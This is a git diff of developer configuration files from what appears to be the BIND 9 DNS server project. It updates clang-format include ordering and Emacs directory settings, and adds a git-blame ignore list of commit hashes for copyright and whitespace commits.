diff --git a/.clang-format b/.clang-format
index 7137d8e008..124d82a269 100644
--- a/.clang-format
+++ b/.clang-format
@@ -34,6 +34,10 @@ PointerAlignment: Right
 PointerBindsToType: false
 IncludeBlocks: Regroup
 IncludeCategories:
+  - Regex:           '^<(urcu\.h|urcu/urcu-|urcu-)'
+    Priority:        2
+  - Regex:           '^<urcu/'
+    Priority:        3
   - Regex:           '^<isc/'
     Priority:        5
   - Regex:           '^<(pk11|pkcs11)/'
@@ -50,18 +54,18 @@ IncludeCategories:
     Priority:        35
   - Regex:           '^<irs/'
     Priority:        40
-  - Regex:           '^<bind9/'
-    Priority:        45
   - Regex:           '^<(dig|named|rndc|confgen|dlz)/'
     Priority:        50
   - Regex:           '^<dlz_'
     Priority:        55
   - Regex:           '^".*"'
     Priority:        99
+  - Regex:           '^<tests/'
+    Priority:        100
   - Regex:           '<openssl/'
-    Priority:        1
+    Priority:        4
   - Regex:           '<(mysql|protobuf-c)/'
-    Priority:        1
+    Priority:        4
   - Regex:           '.*'
     Priority:        0
 IndentExternBlock: NoIndent
@@ -74,3 +78,4 @@ PenaltyBreakString: 80
 PenaltyExcessCharacter: 100
 Standard: Cpp11
 ContinuationIndentWidth: 8
+ForEachMacros: [ 'cds_lfs_for_each', 'cds_lfs_for_each_safe', 'cds_list_for_each_entry_safe', 'ISC_LIST_FOREACH', 'ISC_LIST_FOREACH_SAFE' ]
diff --git a/.clang-format.headers b/.clang-format.headers
index b536276e7c..4b4d091fa2 100644
--- a/.clang-format.headers
+++ b/.clang-format.headers
@@ -34,24 +34,40 @@ PointerAlignment: Right
 PointerBindsToType: false
 IncludeBlocks: Regroup
 IncludeCategories:
-  - Regex:           '^<isc/'
+  - Regex:           '^<(urcu/urcu-|urcu-)'
     Priority:        2
-  - Regex:           '^<dns/'
+  - Regex:           '^<urcu/'
     Priority:        3
-  - Regex:           '^<iscccc/'
-    Priority:        4
-  - Regex:           '^<isccfg/'
+  - Regex:           '^<isc/'
     Priority:        5
+  - Regex:           '^<(pk11|pkcs11)/'
+    Priority:        10
+  - Regex:           '^<dns/'
+    Priority:        15
+  - Regex:           '^<dst/'
+    Priority:        20
+  - Regex:           '^<isccc/'
+    Priority:        25
+  - Regex:           '^<isccfg/'
+    Priority:        30
   - Regex:           '^<ns/'
-    Priority:        6
-  - Regex:           '^<bind9/)'
-    Priority:        7
-  - Regex:           '^(<[^/]*)/)'
-    Priority:        8
-  - Regex:           '<[[:alnum:].]+>'
-    Priority:        1
-  - Regex:           '".*"'
-    Priority:        9
+    Priority:        35
+  - Regex:           '^<irs/'
+    Priority:        40
+  - Regex:           '^<(dig|named|rndc|confgen|dlz)/'
+    Priority:        50
+  - Regex:           '^<dlz_'
+    Priority:        55
+  - Regex:           '^".*"'
+    Priority:        99
+  - Regex:           '^<tests/'
+    Priority:        100
+  - Regex:           '<openssl/'
+    Priority:        4
+  - Regex:           '<(mysql|protobuf-c)/'
+    Priority:        4
+  - Regex:           '.*'
+    Priority:        0
 IndentExternBlock: NoIndent
 KeepEmptyLinesAtTheStartOfBlocks: false
 MaxEmptyLinesToKeep: 1
diff --git a/.dir-locals.el b/.dir-locals.el
index 0c52d76891..7e70739b68 100644
--- a/.dir-locals.el
+++ b/.dir-locals.el
@@ -49,6 +49,10 @@
 	       (expand-file-name
 		(concat directory-of-current-dir-locals-file "lib/bind9/include"))
 
+	       ;; libtest
+	       (expand-file-name
+		(concat directory-of-current-dir-locals-file "tests/include"))
+
 	       ;; bin
 	       (expand-file-name
 		(concat directory-of-current-dir-locals-file "bin/check"))
@@ -57,7 +61,7 @@
 	       (expand-file-name
 		(concat directory-of-current-dir-locals-file "bin/confgen"))
 	       (expand-file-name
-		(concat directory-of-current-dir-locals-file "bin/confgen/include"))	       
+		(concat directory-of-current-dir-locals-file "bin/confgen/include"))
 	       (expand-file-name
 		(concat directory-of-current-dir-locals-file "bin/dig/include"))
 	       (expand-file-name
@@ -73,6 +77,9 @@
 	       (expand-file-name
 		(concat directory-of-current-dir-locals-file "bin/rndc/include"))
 
+	       (expand-file-name "/usr/include/libxml2")
+	       (expand-file-name "/usr/include/json-c")
+
 	       (expand-file-name "/usr/local/opt/openssl@1.1/include")
 	       (expand-file-name "/usr/local/opt/libxml2/include/libxml2")
 	       (expand-file-name "/usr/local/opt/json-c/include/json-c/")
@@ -103,8 +110,9 @@
 	  "--enable=all"
 	  "--suppress=missingIncludeSystem"
 	  "--suppress=nullPointerRedundantCheck"
-	  (concat "--suppressions-list=" (expand-file-name
-			       (concat directory-of-current-dir-locals-file "util/suppressions.txt")))
+	  "--suppress=preprocessorErrorDirective"
+	  "--suppress=unknownMacro"
+	  "--suppress=unmatchedSuppression"
 	  (concat "-include=" (expand-file-name
 			       (concat directory-of-current-dir-locals-file "config.h")))
 	  )
diff --git a/.git-blame-ignore-revs b/.git-blame-ignore-revs
new file mode 100644
index 0000000000..ad3c2b1e98
--- /dev/null
+++ b/.git-blame-ignore-revs
@@ -0,0 +1,1536 @@
+# Since version 2.23 (released in August 2019), git-blame has a feature
+# to ignore or bypass certain commits.
+#
+# This file contains a list of commits that are not likely what you
+# are looking for in a blame, such as mass reformatting or renaming.
+# You can set this file as a default ignore file for blame by running
+# the following command.
+#
+# $ git config blame.ignoreRevsFile .git-blame-ignore-revs
+#
+# adjust the clang-format penalties to reduce string breaking
+0002377dca22d6072508bd3c1b31a6ace82283fd
+# update copyright notice / whitespace
+012142bbe07a89506d30fef12d2a4736a511567d
+# fix whitespaces
+013a49474cc25abd722ee91ab11c2033ee2b0efc
+# update copyright notice / whitespace
+0155ecba77787bc625ef926cdc856829fc22133c
+# update copyright notice
+024cf50d122a16a3ce190692d3669ecee47c23aa
+# update copyright notice / whitespace
+0297ebcc89bb070b12145a1121b528d04fbd14f8
+# update copyright notice / whitespace
+02ce048c915fce17094fe4e533d3c299319b884a
+# spelling; whitespace
+03ccae042b4acd22805d667f823066d3690965cf
+# update copyright notice
+03fc2ff5278321cc712818924ec591288ca560ac
+# update copyright notice
+04a9fcecf543712f74b341bd6d1bb10361ef8186
+# update copyright notice
+04b5785fde2948599bf259d2ca3235a3d9f55172
+# update copyright notice / whitespace
+052551c42398a2f3dfebb8e3ef491dea4310fb06
+# update copyright notice / whitespace
+055f6517b4328daaa06a27463cfc035cf04c35fa
+# update copyright notice
+055fd5fcba525e6ffe421b0ca4352adcf83d7c8f
+# Use clang-tidy to add curly braces around one-line statements
+056e133c4cd6c627b405bc1dc61a7bde3ddacf3e
+# update copyright notice / whitespace
+05cf9e32859fcc2d0e2b7e07ebbae0921308ffaf
+# update copyright notice
+06081a0d612c1c9eb3dd6ee66a90bcc8f5af849f
+# update copyright notice
+0666e6db543cda2de2b8472ba49ed9b53c836326
+# update copyright notice / whitespace
+0796eca5f7159622c0aa04ab41ca943a3493dc56
+# update_copyrights
+07dcadc6e24f4572f2b7d7cae7d47d0f5256d129
+# update copyright notice
+0837549bd6efe0594cbe783350753182b41a9437
+# update copyright notice
+08df939613d7f20bdac132a93efc537bb457ccfa
+# update copyright notice / whitespace
+08e0f8fcfa6d107367d11cb6ae32b56fe7cd9f99
+# update copyright notice / whitespace
+08f18efba2d17f8bb348603c2331e40ab9ccac66
+# now that the man page .html files are no longer processed by update_copyrights, there is no need to include a CVS Id line in them
+08fb9ebe293e189d7c1eba058d83582dd6400fca
+# update copyright notice / whitespace
+0967d759de1f0b7c3f93b2a198200b26169e2071
+# update copyright notice / whitespace
+099a9efd82f3782b37f5659ec67a89fbb0b38f68
+# update copyright notice
+099fa63e55bf5e987f4aecd013f667b95233a67f
+# MAN and HTML files generated from SGML files are now X-ed out so they will not be updated by update_copyrights
+09ab886382ad9e7149d9b72b4cf9a03ae4a1cddf
+# update copyright notice
+0a00c3eb03464988821a0b6817b63ddb3c090890
+# update copyright notice / whitespace
+0a3a65e3ccd06f672b32380435d228719aa716ac
+# update copyright notice
+0a8a14d5133169a67e2c6ac421f96267469ba532
+# update copyright notice / whitespace
+0ac6014fbf4f02b34a416650fd09a78e26c588a2
+# update copyright notice
+0add14467b53f33ace931f9a4790113cb8b5e45d
+# update copyright notice / whitespace
+0b115f3b55a625071a14be10de6e176414de5b2f
+# update copyright notice
+0b637179ccd82ca5e61ba7f890573085478c52d9
+# update copyright notice
+0c156cfa3939423689ed138a9cc7960bd2adf1eb
+# 4401.   [misc]          Change LICENSE to MPL 2.0.
+0c27b3fe77ac1d5094ba3521e8142d9e7973133f
+# update copyright notice / whitespace
+0d5b7ed79da7f2e835071834b2d4eb41863bc348
+# update copyright notice / whitespace
+0d63efe476bd07c8ea9a98dc8c9da7b4b114b701
+# update copyright notice / whitespace
+0d9572e437f04c6d6010cb89b6839d7859b7f2c2
+# update copyright notice / whitespace
+0d9aa35cac36db59161488bcdac69f56eaf7f8aa
+# update copyright notice / whitespace
+0dfc0745c4ec343c687adf752a8e04231b0aadb6
+# update copyright notice
+0e17b4207ee9278cd2183eab41bba3aefa64f15f
+# update copyright notice / whitespace
+0e2fe405f37afc60572c85fdb22e61327831f8e9
+# update copyright notice / whitespace
+0e9b328d62f6b051113287e6bade704bff66a009
+# update copyright notice
+0ecbe41b6b8dd7f561cfaf1897e9151b814f92d0
+# Unify whitespace in bin/tests/system/run.sh.in
+0f0a006c7e30829ead5fbadb725a5be479fed1cb
+# update file headers
+0fabe0da834e3a7cc96d851a866062227f8fb84c
+# update copyright notice / whitespace
+0fbf291dadf6042ca6b0e4b1bf72c7dcdaffa08a
+# update copyright notice
+0fc76b64fb631a537caa1707f3002e639de29463
+# update copyright notice
+0ff8ed750ed3e3510003020408b1bb4db5967e03
+# whitespace
+102c454e783d3dd9dbb9ceb30ed28c983cafd546
+# update copyright notice
+104f0e51ac7f472e69d53e4900fe121b7dc78537
+# update copyright notice / whitespace
+106368eb50b435c92aadc4e0411bb3327584a450
+# update copyright notice / whitespace
+10e49fc83bcb41743aa23458d51861c40363bbdc
+# update copyright notice
+1124950b35ae05a12e804e670607fe5ba775cb4a
+# update copyright notice
+11dc1b1508427252be3595ee3cb72fbfd9884c61
+# update copyright notice
+12253af3465f150a3b2f2cdaf15f396a5c060c21
+# update copyright notice
+12b386e1a6b12d1e482e87347cdeb773a0cd0fc2
+# update copyright notice / whitespace
+12ed5d34b9c206a217f4168a73ef8943066f2026
+# update copyright notice
+1361e038900701e126213261c0a1178025ae5a72
+# update copyright notice / whitespace
+13908e7551003805d0dc0907296c2fb0ec7e26fe
+# update copyright notice / whitespace
+1413616670fcb95b9ef236351502e4884ddca8bf
+# update copyright notice
+1443158c1101e58bf2fa0b9c785a40265b898a3b
+# update copyright notice
+14725aff16200258df1c0f93023cc4dfe3e83101
+# update copyright notice
+1599ac12be522feb3f0cf8dab9fdde695a93a03f
+# word wrap copyright notice at column 70
+15a44745412679c30a6d022733925af70a38b715
+# update copyright notice
+15c7a1bf207173deb2bff1d610d5f784b6629875
+# update copyright notice / whitespace
+161b5249b9277b95479ae933387ae9de65fbad30
+# update copyright notice / whitespace
+16201b15a6e228bf289f2448cb3b4d6ef47ff621
+# update copyright notice
+1633aead67b36a36bbf112a262d12025dbd4eec3
+# spelling; whitespace
+1677904b23401872189057441684ca5ce945b293
+# [master] fix update_copyrights to deal with python modules correctly
+168cf0ede1cf13a095e48af6749d88fbc432f096
+# update copyright notice
+17131a9459e5b30f764bc77f4fed288907a5b5e0
+# update copyright notice
+171f12f31edf85460ab3050b53633512b34bcc4f
+# [master] whitespace
+1736709296d81b06230f073543e95d70bd7cfe7c
+# update copyright notice
+1756e623f94b1573eee10ca208033fc5b42d085f
+# update copyright notice
+180c8cf5fa15ca82f9267eb139cebeb93a91b6ce
+# update copyright notice
+180d8b0eecfc02d3d25c96253aef3a3d19a58a5a
+# update copyright notice / whitespace
+1883d11ca231e5f7a20a8c7040cbb51411e3934b
+# update copyright notice / whitespace
+18b7760b290f757db842886c967bd09decfe3c5b
+# update copyright notice
+18cbe0a21642ba09a312e13cbbe809d28aaf35b9
+# update copyright notice / whitespace
+194f07c628122f38b9776146e51a0198579a9271
+# update copyright notice / whitespace
+19b7c0494eea9c5b72f11fa4d00e58e1aa0ade07
+# update copyright notice / whitespace
+19c7b1a0293498a3e36692c59646ed6e15ffc8d0
+# whitespace
+1aaedde67b42c433324eecb76ee379ca0ccda294
+# Remove extra whitespace in grammar for null statement
+1af157eb2095aca49f078d8e7d831b26cd9a676e
+# update copyright notice / whitespace
+1b0b6d7325f2d3404f58a8992606a9cfaf393703
+# update copyright notice
+1b2ae58ef163d9369ac1b693dde667ec49627ad9
+# update copyright notice
+1baa4729cee1c5aeacca90c57d4b4218315be53f
+# update copyright notice / whitespace
+1baa50950b413d81ecb98827fe2e1a3bb91d873a
+# update copyright notice / whitespace
+1c3b9b7666d40b0ab3f8662212f431a46ea41cb2
+# update copyright notice / whitespace
+1c6d1ca3356928847d4ad068c4d346254c35337c
+# whitespace changes in copyright message
+1cad45e9cf1f75bd6cf5353a933c4b9a0be07319
+# utility to trim trailing whitespace
+1cd587d241b4511b17e01ac31dbe9a38003758eb
+# update copyright notice
+1cd80e4825da12d8915617cd3e33f7afb83cb30c
+# update copyright notice / whitespace
+1d7d7cdcdada3406dc5d23cc41939e687f85a733
+# update copyright notice
+1d94248a12c2fcce1428c8ffd9ec4864db8a10fd
+# update copyright notice / whitespace
+1e33899f864d6dad313f606a188e5d905658e631
+# update copyright notice
+1e7501fe074fcacd9512af8b7db073f2a3ee4478
+# update copyright notice
+1e9f7a42bcfdfaa0ad314bed46e6c1297cdd0348
+# update copyright notice
+1ec9fe2c3cc2393c5af98229a555bcbe873300f2
+# reformat message
+1f058fb7d18d43e26ab0c9e8ce2ff6615740186a
+# update copyright notice / whitespace
+1f1c7c3b0a8d80235d2fd0ebf5deb5aa2693b393
+# update copyright notice / whitespace
+1f6505a424d696b73e5b2951cf5c9eeda9774f47
+# update copyright notice
+20a96edbf9894e327a99f21acf3571422df5c7b0
+# update copyright notice
+2147c4230131d392aa24aa363dab4e6636cf18fd
+# update copyright notice / whitespace
+21635968f7663163ce914f238fd99e40fdff07a1
+# update copyright notice
+21c8938824a2445bc750ba9c395a0d857f50ad72
+# update copyright notice / whitespace
+220ba6da875ee8824dd0b21c4446c2a369854efc
+# update copyright notice
+222f5e0697cdb7850e3664ea5e53091ddcf164b2
+# update copyright notice / whitespace
+225908aece0b71e282ae1b7135735999ae314cdf
+# whitespace
+2272d836ba1afb75a2079fa425e6aa03fb2e1c54
+# update copyright notice
+22dd28c5bc1b0319b00a1aa48a2eda36a75d91ee
+# update copyright notice / whitespace
+22eb44633919b688fdf227e3f99ba067bb578e52
+# update copyright notice / whitespace
+2317d1f835217db65808826b72a47920963c59fd
+# update copyright notice
+23554e8479a5995b1c7d775462145e426d637330
+# whitespace
+23de6c3ccd98fb8c7a6b6f06f33f6efcbfd1ca29
+# update copyright notice / whitespace
+24036b61f61e044c9058e4c01d0de7326c247c23
+# update copyright notice / whitespace
+243cfadf06bd3d2e89d0714267fc871e311a0ccc
+# update copyright notice / whitespace
+244d11a22724c7ee62bef8d8424da7042072fa9c
+# update copyright notice
+247bf378605811d695e968dbe930a7fc45c0038e
+# update copyright notice / whitespace
+24926303e446efae7a5b75c15365df0fedc3bd73
+# update copyright notice
+24a4fabc0b0508a2d2b4651454dba1dfa93968f2
+# update copyright notice
+25633bca239d1be056233c6e95f9ff86b1aa8193
+# update copyright notice / whitespace
+262bebd08115b2914ee3ae1612d6db480cbcae80
+# update copyright notice / whitespace
+2658ebbcbaf4c8f6712ab11d04c23b695a238a47
+# update copyright notice / whitespace
+27424c351db1b1ee96848956cf314025f727d1de
+# update copyright notice
+2777329775a039bea0ec3142a3e3158d9441fc75
+# update copyright notice / whitespace
+278b68ced5b6e77370741bc56c0bae8fba5f65e7
+# update copyright notice / whitespace
+2799701c3287106801cbbe64e7020087b3cd701f
+# update copyright notice / whitespace
+27def92931d3e01938f325a0bb722a0d871662d6
+# update_copyrights
+2834197ede0bfaec5b57cb1666e0c21f76408570
+# update copyright notice
+284d5252c14c81286b5d3d50c7c2a655e006c5e0
+# update copyright notice / whitespace
+288c18263f0b3306b6217ec24f9084f0f7230224
+# update copyright notice
+28b2fddfd4a68d4aa6000efce9c0537638818611
+# update_copyrights
+28d9fd53819cc163629c867466b20d8ebcae8842
+# update copyright notice
+291a670d12e88142f36a7561312233d80217d7f4
+# update copyright notice / whitespace
+29756974c585f616bb6e8233218cc385df9aeddb
+# update copyright notice / whitespace
+29916e6d7cda414f0c131f6b248669ab33421db5
+# update copyright notice / whitespace
+2a3747006563cfa1c07516ec594cc6d1f0db7ff2
+# update copyright notice / whitespace
+2b1bfbada6102d338fcc9dbf21e6a933a3ae14ed
+# update copyright notice / whitespace
+2b9cf58c57fdaeb007e0d14638a000cb516cbbcb
+# update copyright notice / whitespace
+2bc4d454e1958e540cf6000c3438f25e645b3c99
+# update copyright notice / whitespace
+2bd63eca275f4292452f6cb79cfb00a1065dd069
+# update copyright notice
+2c69f767d68a4bc5753982e861f358e2710578c0
+# update copyright notice / whitespace
+2cc103828e6bfcb8fa864383af321e201bb55250
+# update copyright notice
+2cf1d5b0986d38e60db88a7b2360798e539d7636
+# update copyright notice
+2d50cce72e08e29447c8b7adb56b55bca6c2e3c7
+# update copyright notice / whitespace
+2dd6ffb5cb356956685484160b0fdf157e2e9787
+# update copyright year to 2020
+2df13f79efa12335f52bcbe585e89bd695dceb17
+# update copyright notice / whitespace
+2f77f658a0ea063d7b2cab4f987cc646d7feb472
+# update copyright notice / whitespace
+2fac9b0be67117fdd4726998c77fa9d37c07b2e5
+# update copyright notice
+2fb35a6d5902aebbf2476a6d7ecbc5e9bd2e4dc9
+# update copyright notice
+313b0ea9f258edd8530f4454c69e6ba194280162
+# update copyright notice / whitespace
+31c2480cd4ce4043a98589f68d6db9af29973ec1
+# update copyright notice
+3278ff814d2babe5ba1aa61e7995cfddb1895b4f
+# fix whitespace
+32ba5a0494e26d49969c56e24865a858d4c3e9ac
+# style, braces, whitespace
+32d1cc1562f51dae332877672869bfa7b91b7700
+# update copyright notice
+32dc5779400ef0db8bffe27af4680b6dc226d40d
+# update copyright notice / whitespace
+337d408adbae1f91b625d0ce624fb39a66aae4d2
+# update copyright notice / whitespace
+33987cb5fd9a940010af4b023f2de1ba91e6c884
+# update copyright notice
+33d6c4a086b7c6618924f70aa66fa97a9ab4ea85
+# update copyright notice / whitespace
+34075107babc30457bde0b7ad1d7120bf355e2dd
+# update copyright notice
+345a210f5105134ae290f342cdf75986fdc2ac65
+# update copyright notice / whitespace
+34da98377c64688168b5197f52d0d40a5ce58206
+# update copyright notice / whitespace
+34eab435ace6e5c8392819d06dd54078124126df
+# whitespace
+34fba65d39b884775c30da2ae4eee15973b1b30d
+# Update copyright date in man pages
+358c133ee20e64b64569429df196d7c7767a624a
+# update copyright notice / whitespace
+35af5049f8a0a0ad08e4ad7de7594e81b2107004
+# update copyright notice / whitespace
+3618b965d1c86787f7743de02b99c54a31797289
+# update copyright notice
+36a3d08a723986554b559af7f8c228f98df7d318
+# reformatting; no functional change
+3755da41db87a4f31d1806e9374e6241759e0c24
+# update copyright notice
+377b774598f3973c2b231fb88d39acca1ff5ebc4
+# update copyright notice / whitespace
+37873c28de6da31df0c5632a8cbde34c31ee6907
+# update copyright notice
+37f7c4c673622e984a41570fda42c1a678622fa4
+# update copyright notice / whitespace
+3813d22587681c16ad3a85a6e684558182aeb9f9
+# Fixup the missing clang-format bits
+3832e3ecc9854d83d65efe8fa49b258b4ce744e5
+# update copyright notice / whitespace
+3865e18d3d076d018e9d6b1fa033ac5f5cffc7c7
+# update copyright notice / whitespace
+38a9d9ba76f2ed260a6bcc6cb658716850fd5d16
+# update copyright notice / whitespace
+393135d693bf264faabfcac2c947e2fae0e7412c
+# update copyright notice / whitespace
+3939cc42d8157258c3e65b99da2415e8adb532d3
+# update copyright notice / whitespace
+3947e3625ac09fa7122449242d45bbced81c728b
+# update copyright notice / whitespace
+39f68aa480323e94e4e9f60840069168135858ca
+# update copyright notice / whitespace
+39f68d7b64dce25e19f7132f6c46b3beabeed492
+# update copyright notice
+3a34908497c9f73ebc4b83c614b75844a204e006
+# update copyright notice
+3aaa526a94c80c31c16d44f0f6482984725860f1
+# update copyright notice
+3b398443f0dca316ba7a6e057ba2d1b8ab4ddf70
+# update copyright notice / whitespace
+3b443e87a0bb3c8d888d26d0a34db7255772715f
+# update copyright notice / whitespace
+3b5e75c07a7f2e5ad7b5db181a4880f8d7dfd136
+# update copyright notice
+3b7b634d56a63f5546103f994f283e72cb59fe76
+# update copyright notice
+3b922eeb6294d579edfd720ac162287e6736e07a
+# copyright messages now generated by util/update_copyrights
+3b938ff0d9207bc32075d8fd40176647f444c377
+# update copyright notice
+3b9bbd52c81036217d92193f46b194a1bf0e00bd
+# update copyright notice / whitespace
+3bd20c8dd4a8898ef5797429ad896ec1e0389104
+# update copyright notice / whitespace
+3bfc28a0d0652797368b72a1a733caff25f1a58a
+# update copyright notice
+3c04ca47c633e0e7aa4a18c0690feced27143951
+# update copyright notice
+3c15417fc12b04ed09f8f7caa63ca7198dbe69da
+# update copyright notice / whitespace
+3d2a6c994923835720fc199a84a55b779f87cfc0
+# update copyright notice
+3d4ce9ea273bcc6ceebe7f5b7a5699b598f9970f
+# update copyright notice / whitespace
+3d787a12133f09e16d6275d50a4547cff5869b44
+# update copyright notice / whitespace
+3e0b34d0ac3c4377feb6c9b156c81b405dfd35f8
+# update copyright notice / whitespace
+3e2bfb151a46d87dd3c18fed5d26b404bfbb55c5
+# update copyright notice / whitespace
+3e6b0b49317c86869ede222ea61ebc051c209cda
+# update copyright notice / whitespace
+3e7ed60f99932a1aa8dfd9b1d172a75ab941edca
+# update copyright notice / whitespace
+3eb65aba2a9c3de3aff4796f98ee17afc4d2cefc
+# update copyright notice / whitespace
+3ebda3f46b62b9644ef963e56c6c441e96693011
+# update copyright notice
+3fb95bfcb2e478d721d378f0be5ff0a32269bc2a
+# update copyright notice
+3fd181c98fc7997468d9cee2fbdd7a961ea67e78
+# update copyright notice
+3fd910dec5c3fd5586003fffd03ecf2f92aae53f
+# update copyright notice / whitespace
+3fda67b59698ad900dd1448b699a53f82ce12e5a
+# Check update_copyright results in precheck stage
+4016369212a4868edcdc83be2ee91493833c90ed
+# update copyright notice / whitespace
+40780aa36ffdf27572159bc4953d1c49638aaf23
+# update copyright notice
+40b42978b98217d0d856de694854fadda56f2d37
+# whitespace changes in copyright message
+40cd552b5e7888e5350b2f40f33a343dcaa219f9
+# Trailing whitespace trimmed.  Perhaps running "perl util/spacewhack.pl in your own CVS tree will help minimize CVS conflicts.  Maybe not. Blame Graff for getting me to trim all trailing whitespace.
+40f53fa8d9c6a4fc38c0014495e7a42b08f52481
+# update copyright notice / whitespace
+421f833b67ee7b4a67507784927af06e5964e54e
+# update copyright notice / whitespace
+429a43b720b5dd5436e5b5e8dbe8855fc502e13b
+# update copyright notice
+431a83fb29482c5170b3e4026e59bb14849a6707
+# update copyright notice / whitespace
+431e5c81dbd81cf411b9a187fa5f611f23c0e16f
+# update copyright notice
+432d8fa3b403767d63d166492222b0435486914d
+# [master] whitespace
+4357e13a4bc2e175d73b20f9ef3e809b3e269ee4
+# update copyright notice / whitespace
+43cc3edce92b58f05b09d9ed58484f45acafd388
+# update copyright notice / whitespace
+445cabb392efccf97da251d93d0b66198cebb317
+# update copyright notice
+44863746316be889b13ee5cf893245baa089a75d
+# update copyright notice
+44c016134fdac329e51c993f040a40cd9eb3ee6b
+# update copyright notice / whitespace
+452a29e62cf661c7a91b7a2a18b0ccbba50d832f
+# Cleanup cmocka related whitespace
+45bee4d3c3161b9a3b93a523720e966bc734ffeb
+# update copyright notice / whitespace
+4688741c5c81b5945be0270926804573e27cf11d
+# update copyright notice / whitespace
+46d7d8717a048309144850a48d79b01b9c6bc92c
+# update copyright notice / whitespace
+46ee7c3260725be660e4db900ad792ae186b33fc
+# cut-and-paste-o; reformatting
+470208d879b2935791540d2587d37d4fb648959a
+# fix whitespace
+47115d91ef32317a2c0eb9daaf9c910757568de0
+# update copyright notice
+4734976943ac9995a8ce0bbbf321e9ee6f52b3f6
+# update copyright notice
+473d3168f0051bd76641332b5eac36b36ee24f9e
+# A comment was reformatted badly.
+47846b7468f639713ad7ab69e70c7e0bfed5a6c7
+# update copyright notice / whitespace
+47d13972e9445ba9b1760eeb95db13e6535b613f
+# update copyright notice / whitespace
+47f617f8b2b42166d5e4690e1a5545bc7561c06c
+# fix a typo in copyright headers, and change "http" to "https"
+481a7aae44c95e07628df17e2a222ffa51a698b8
+# update copyright notice / whitespace
+4949f397164cac6609c11c896e4a08d0763a679f
+# update copyright notice
+49503f1d9f53aca7a3bfff5aafd05715670bcbd4
+# copyright update
+499b34cea04a46823d003d4c0520c8b03e8513cb
+# update_copyrights
+49dbdb0186eb23d87d685b96eaefa9ec3c71d9b8
+# update copyright notice / whitespace
+4a7004f3cec6958b8b20bccf07b9f6a44f0fd590
+# update copyright notice / whitespace
+4aaac77cb58050fdf097423b9bb5217501ae2cc6
+# update copyright notice
+4b1a93381194eee86de726fd313dd33d06fae946
+# update copyright notice
+4b2c089cd82a7915443c3ad71f30a55e1cfcf91a
+# update copyright notice / whitespace
+4b48e307e0a24c3f4e3512dffabbe2a7a81061f0
+# update copyright notice / whitespace
+4ba2689c1f4e0c8c670fc47307d7b46d9da3a45b
+# update copyright notice / whitespace
+4c60000629357757711553eb13c87fc20c6f3142
+# update copyright notice / whitespace
+4ccffa13aa1f87d8d3dbdf7a74cf29b1c323ad52
+# update copyright notice
+4ded8003e33ee5c9fbdde06630d6e0e50fe01797
+# update copyright notice / whitespace
+4df65ccfeca981cef1bf66706b8b505a8407f9d2
+# update copyright notice
+4e3e8cbea01a23167213d041808f0f5ddfc12443
+# update_copyrights
+4e6b8a18ff7dd22797970208060cca9f99f54daf
+# update copyright notice / whitespace
+4e92a74ec419e60e49d6857864920f085cc4613b
+# update copyright notice / whitespace
+4ef83f4333f19868f82b23259507c778c928c52d
+# update copyright notice / whitespace
+503ffdad3bc62e6458e4b60e329aa448ce1803a1
+# update copyright notice
+50464a33981af03d897f3fa3effdbd97396025d6
+# remove whitespace
+510dca6f52622cc06847b6b243eb9375dbeff016
+# update copyright notice
+5115a8b86894bdafc977e844fd37dc5fc8ac0ddd
+# update copyright notice
+51437e2eeae397261ee680e57dd8d6566be9539a
+# update copyright notice
+5165c59007b3f7e2948a9161b116367e5488df26
+# update copyright notice / whitespace
+523ad879ce1abb51cae579a6393da0e0436fe8df
+# update copyright notice
+526cc7c2c000d54340a6da18f1ae7964265cc6c2
+# update copyright notice
+52d3ce3ada750549c6abcf860f4e89071a6a90b1
+# update copyright notice / whitespace
+53993374748a007a86bedfc6ecd21f2e95eb8f75
+# update copyright notice / whitespace
+53ba272721898b15dc6abfa251cc648354303dda
+# Make clang-format happy
+53bd81ad1992520087a05edfd51fdb4ed627b789
+# update copyright notice
+53e8ebc8f0f7315d4af29401a856d45f10ee2bd8
+# update copyright notice / whitespace
+5414e486066c127276997cc58f4e4f328d36d56b
+# update copyright notice
+543ab56b01a4b173a1b1f1c393cc6dbcf0cfa0a1
+# update copyright notice / whitespace
+54599d0e4f2448ab2a38a94f9faec10e42ec3797
+# update copyright notice
+5465b124f1517b27c363872bd7648a950424ecca
+# whitespace
+54a00ea5ca94ff9e3a4204aea78639ba781d5865
+# update copyright notice
+54c820164aa74f0e6da0d58f21baed07b8aabb03
+# update copyright notice
+54f04323c0049de63c9469634e205e543138e2b4
+# update copyright notice / whitespace
+551e0d486d45ce379fe6bfdd64945342850a0835
+# Remove $Id markers, Principal Author and Reviewed tags from the full source tree
+55a10b7acd8fd6f13a6c49398ed51efd02a6a973
+# update copyright notice / whitespace
+55cfbf322d6051d7cf5c0ec4998aab9291dfee39
+# update copyright notice / whitespace
+563764584742696ac52028fd35fb85837c8554bf
+# update copyright notice
+56474e9d28b5cf2d6b8327ed445b6784364fca0d
+# whitespace
+564968bc0aefe5a3d19d88fdb654fb9128ecf6af
+# update copyright notice
+5655174c2c382238efbf7fdbf3f4afe39c7ddc03
+# update copyright notice
+56af756b6c4ae9fea1b27303c4a0c7ddd3fb749b
+# update copyright notice
+573d78f3d53859bc01ce5d5cebbaac9b8b90bfba
+# Reformat using the new rules
+5777c44ad01e1947462b3742e32327650dba328a
+# update copyright notice
+5781d00939dae8d9da5d502fec1562488abf7461
+# update copyright notice
+585408ef543b1ea62a36272576834b6a31a3616e
+# update copyright notice / whitespace
+587f0050324ad07e8dd0ac68c5a9099e5d21c667
+# Update the copyright information in all files in the repository
+58bd26b6cf7bac3f614b6614cd2aff6075b6f9fa
+# Merge branch 'run-update_copyrights' into 'master'
+591a6c94ee310fad65ed9a520f76476db5b33a61
+# update copyright notice
+5924e4ace0c4bf2b2bbc5238a7a94594c28c779f
+# update copyright notice / whitespace
+59e7a41eaf07ba43132f09509582739e531f7ca2
+# update copyright notice
+5a31767b0982ba0fd5211d51fd002730c929656a
+# update_copyrights
+5a3eba71b414b6915c62390b05518041a17e7ae4
+# update copyright notice
+5ac5300fdf18c91405d1f83f521bf887ded495a3
+# update copyright notice / whitespace
+5c144477062a5df657acee41a82051d38537fd38
+# update copyright notice
+5c6b95ba1b2e35f8dd6b0a7f25aacba91fff3aa2
+# Make clang-format happy
+5cc33084af4de81aec3f9bb33837c4f2866d3aee
+# update copyright notice / whitespace
+5ce167be2e4bc1d7f8fef1e29d93fab6b8abba45
+# update copyright notice / whitespace
+5d35f07318456d6ca01d3866c89ae9e50ab029b0
+# Remove trailing whitespace
+5d64d05be9ea9ff7587d6b15e51b01717e50505c
+# update copyright notice / whitespace
+5d68969ab392316572eb3899f0d1409c2d18be8a
